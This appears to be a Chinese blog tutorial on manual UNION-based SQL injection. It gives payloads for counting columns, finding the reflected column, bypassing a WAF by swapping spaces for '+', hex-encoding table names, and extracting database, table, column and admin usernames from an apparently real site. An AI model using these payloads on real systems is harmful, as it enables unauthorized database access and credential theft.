首页 > 数据库 >sql手工注入获取库、表名(union联合注入)(个人学习笔记)

sql手工注入获取库、表名(union联合注入)(个人学习笔记)

时间:2024-10-15 23:22:08浏览次数:16  
标签:schema union --+ sql php id select 注入

1,发现存在sql漏洞的网站

当我们发现一个网站存在sql注入的漏洞时,可以使用sql手工注入来获取信息,如下列的网站

sql注入的原理是前端给后端发送指令的时候由于设计者未考虑安全,导致用户可以加上自己的指令进去,从而让服务器完成一些列危险的操作

2,确定列表数名

首先,我们要先知道该网站的列表数名,为什么要知道这个呢?我下面给大家看一下该网站的sql语句

 select id,title,content from info where id=0

select后面跟着的是id,title,content三个参数,所以列表数名是3。

可是这个语句我们是看不到的,那么我们要怎么样才能知道列表数名是3呢?

这要用到order by语句了。

.php?id=1 order by 1,2,3,4,5 --+

这是查看列表数名的语句,我来实战给大家看一下

 %20是空格的url编码,代表着空格

.php?id=1 order by 1,2 --+

可以看到页面正常,那么我把数字继续加

.php?id=1 order by 1,2,3,4 --+

到4的时候页面报错了,3的时候是正常,说明3是列表数名 

 3,确定回显点

获取到了列表数名有啥用?只有获取了列表数名才能搭配union来联合注入

union的语句为下

.php?id=0 union select 1,2,3,4,5,6,7 --+

 这里id=0要为一个无用参数(如id=0),上面使用order by的id要为有用参数(如id=1)

union语句要求前后数量要一至,该网站的sql语句为下

 select id,title,content from info where id=0

前面有id,title,content,三个,所以使用union select 的时候也要有三个

 select id,title,content from info where id=0 union select 1,2,3 --+

输入到网站里的效果为

 发现该网站有防火墙waf,我们的union被拦截了,不过没事,我们可以绕过他。

这个防火墙是wts,该防火墙绕过的一个方法是将空格改为+

.php?id=0+union+select+1,2,3 --+

成功绕过,并且知道了回显点为3 

网站里不是所有的参数都会显示的,只有部分参数会显示,这就是回显点。我们输入获取库名,表名的指令后需要我们能够看到,所以我们就是要在回显点输入,这便是为什么要确定回显点

4,获取库名

database():这个函数的作用是获取库名,将他输在回显点上

.php?id=0+union+select+1,2,database() --+

 

这就获取到了库名

5,获取表名

接下来我们要获取数据库中的数据表,语句如下

.php?id=0 +union+select+1,2,table_name+from+information_schema.tables+where+table_schema=database() --+

至于schema这个东西可以自己去其他文章了解一下,这边我只讲如何操作。

获取到一个表名,那么如何获取到全部表名呢?可以用到group_concat()函数 

.php?id=0 +union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=database() --+

被防火墙制裁了,说明group_concat()用不了,但这还不足以让我老实,我们可以用limit来搞

.php?id=0 +union+select+1,2,table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1 --+

limit是一个灵活的取数标签,作用是取出指定的文章。

limit='0,1',表示从第一个文章开始,取1篇文章。

limit='1,1',表示从第二个文章开始,取1篇文章。

limit='2,3',表示从第三个文章开始,取3篇文章。

以此类推,用法有点类似row标签,但是比row更加灵活。                  
原文链接:https://blog.csdn.net/csdnAaron/article/details/82884753

手动输入有点慢,不过可以放到burp中快速查询,这里就不介绍了,可以移步至其他文章

我这里直接查询1,1

 获取到了一个表名

6,获取字段

获取字段就是改为column

.php?id=0+union+select+1,2,column_name+from+information_schema.columns+where+table_name='admin_login' --+

报错了,我们可以发现admin_login左右两边的单引号被转义成\'导致语句错误,之前我们用的是database()函数所以不会出现该问题,那么现在如何解决呢?

一个办法是使用hex编码,去网上搜索hex在线编码,将admin_login编码一下

使用方法是0x61646D696E5F6C6F67696E

.php?id=0+union+select+1,2,column_name+from+information_schema.columns+where+table_name=0x61646D696E5F6C6F67696E --+

成功获取到字段

7,查看字段

直接亮代码

.php?id=0+union+select+1,2,username+from+admin_login --+

第一个账号是admin,这就完成了一次sql注入查看信息了(仅供学习参考使用)

标签:schema,union,--+,sql,php,id,select,注入
From: https://blog.csdn.net/2401_86737011/article/details/142964403

相关文章